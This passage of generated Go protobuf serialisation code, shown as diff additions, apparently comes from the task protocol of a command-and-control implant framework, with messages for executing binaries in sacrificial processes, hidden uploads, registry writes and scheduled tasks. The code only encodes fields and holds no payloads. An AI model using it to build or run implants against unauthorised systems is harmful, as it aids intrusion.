protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Stderr))) + i-- + dAtA[i] = 0x1a + } + if len(m.Stdout) > 0 { + i -= len(m.Stdout) + copy(dAtA[i:], m.Stdout) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Stdout))) + i-- + dAtA[i] = 0x12 + } + if m.StatusCode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.StatusCode)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *BinaryResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *BinaryResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *BinaryResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Err) > 0 { + i -= len(m.Err) + copy(dAtA[i:], m.Err) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Err))) + i-- + dAtA[i] = 0x22 + } + if m.Status != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Status)) + i-- + dAtA[i] = 0x18 + } + if len(m.Message) > 0 { + i -= len(m.Message) + copy(dAtA[i:], m.Message) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Message))) + i-- + dAtA[i] = 0x12 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Modules) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Modules) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Modules) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Modules) > 0 { + for iNdEx := len(m.Modules) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Modules[iNdEx]) + copy(dAtA[i:], m.Modules[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Modules[iNdEx]))) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Addons) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Addons) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Addons) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Addons) > 0 { + for iNdEx := len(m.Addons) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Addons[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Addon) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Addon) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Addon) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Depend) > 0 { + i -= len(m.Depend) + copy(dAtA[i:], m.Depend) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Depend))) + i-- + dAtA[i] = 0x1a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *LoadModule) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LoadModule) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *LoadModule) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x12 + } + if len(m.Bundle) > 0 { + i -= len(m.Bundle) + copy(dAtA[i:], m.Bundle) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bundle))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *LoadAddon) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LoadAddon) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *LoadAddon) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x22 + } + if len(m.Depend) > 0 { + i -= len(m.Depend) + copy(dAtA[i:], m.Depend) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Depend))) + i-- + dAtA[i] = 0x1a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteAddon) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteAddon) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ExecuteAddon) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.ExecuteBinary != nil { + size, err := m.ExecuteBinary.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Addon) > 0 { + i -= len(m.Addon) + copy(dAtA[i:], m.Addon) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Addon))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteBinary) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteBinary) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ExecuteBinary) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Delay != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Delay)) + i-- + dAtA[i] = 0x78 + } + if len(m.Context) > 0 { + i -= len(m.Context) + copy(dAtA[i:], m.Context) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Context))) + i-- + dAtA[i] = 0x72 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x6a + } + if m.Sacrifice != nil { + size, err := m.Sacrifice.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Timeout != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timeout)) + i-- + dAtA[i] = 0x58 + } + if m.Arch != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Arch)) + i-- + dAtA[i] = 0x50 + } + if m.Output { + i-- + if m.Output { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x48 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x42 + } + if len(m.EntryPoint) > 0 { + i -= len(m.EntryPoint) + copy(dAtA[i:], m.EntryPoint) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.EntryPoint))) + i-- + dAtA[i] = 0x3a + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x32 + } + } + if len(m.ProcessName) > 0 { + i -= len(m.ProcessName) + copy(dAtA[i:], m.ProcessName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ProcessName))) + i-- + dAtA[i] = 0x2a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x22 + } + if len(m.Param) > 0 { + for k := range m.Param { + v := m.Param[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteCommand) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteCommand) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ExecuteCommand) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Sacrifice != nil { + size, err := m.Sacrifice.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Command) > 0 { + i -= len(m.Command) + copy(dAtA[i:], m.Command) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Command))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *UploadRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *UploadRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *UploadRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Override { + i-- + if m.Override { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x30 + } + if m.Hidden { + i-- + if m.Hidden { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x22 + } + if m.Priv != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Priv)) + i-- + dAtA[i] = 0x18 + } + if len(m.Target) > 0 { + i -= len(m.Target) + copy(dAtA[i:], m.Target) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Target))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DownloadRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DownloadRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *DownloadRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Cur != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cur)) + i-- + dAtA[i] = 0x28 + } + if m.Dir { + i-- + if m.Dir { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if m.BufferSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.BufferSize)) + i-- + dAtA[i] = 0x18 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DownloadResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DownloadResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *DownloadResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Content) > 0 { + i -= len(m.Content) + copy(dAtA[i:], m.Content) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Content))) + i-- + dAtA[i] = 0x22 + } + if m.Cur != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cur)) + i-- + dAtA[i] = 0x18 + } + if m.Size != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Size)) + i-- + dAtA[i] = 0x10 + } + if len(m.Checksum) > 0 { + i -= len(m.Checksum) + copy(dAtA[i:], m.Checksum) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Checksum))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *CurlRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *CurlRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *CurlRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + copy(dAtA[i:], m.Hostname) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0x32 + } + if len(m.Header) > 0 { + for k := range m.Header { + v := m.Header[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x2a + } + } + if len(m.Body) > 0 { + i -= len(m.Body) + copy(dAtA[i:], m.Body) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Body))) + i-- + dAtA[i] = 0x22 + } + if len(m.Method) > 0 { + i -= len(m.Method) + copy(dAtA[i:], m.Method) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Method))) + i-- + dAtA[i] = 0x1a + } + if m.Timeout != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timeout)) + i-- + dAtA[i] = 0x10 + } + if len(m.Url) > 0 { + i -= len(m.Url) + copy(dAtA[i:], m.Url) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Url))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ChownRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ChownRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ChownRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Recursive { + i-- + if m.Recursive { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if len(m.Gid) > 0 { + i -= len(m.Gid) + copy(dAtA[i:], m.Gid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Gid))) + i-- + dAtA[i] = 0x1a + } + if len(m.Uid) > 0 { + i -= len(m.Uid) + copy(dAtA[i:], m.Uid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Uid))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *IfconfigResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *IfconfigResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *IfconfigResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.NetInterfaces) > 0 { + for iNdEx := len(m.NetInterfaces) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.NetInterfaces[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *RegistryRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RegistryRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *RegistryRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Registry != nil { + size, err := m.Registry.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Registry) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Registry) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Registry) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hive) > 0 { + i -= len(m.Hive) + copy(dAtA[i:], m.Hive) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hive))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *RegistryWriteRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RegistryWriteRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *RegistryWriteRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Regtype != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Regtype)) + i-- + dAtA[i] = 0x50 + } + if m.QwordValue != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.QwordValue)) + i-- + dAtA[i] = 0x40 + } + if m.DwordValue != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.DwordValue)) + i-- + dAtA[i] = 0x38 + } + if len(m.ByteValue) > 0 { + i -= len(m.ByteValue) + copy(dAtA[i:], m.ByteValue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ByteValue))) + i-- + dAtA[i] = 0x32 + } + if len(m.StringValue) > 0 { + i -= len(m.StringValue) + copy(dAtA[i:], m.StringValue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StringValue))) + i-- + dAtA[i] = 0x2a + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hive) > 0 { + i -= len(m.Hive) + copy(dAtA[i:], m.Hive) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hive))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskScheduleRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskScheduleRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskScheduleRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Taskschd != nil { + size, err := 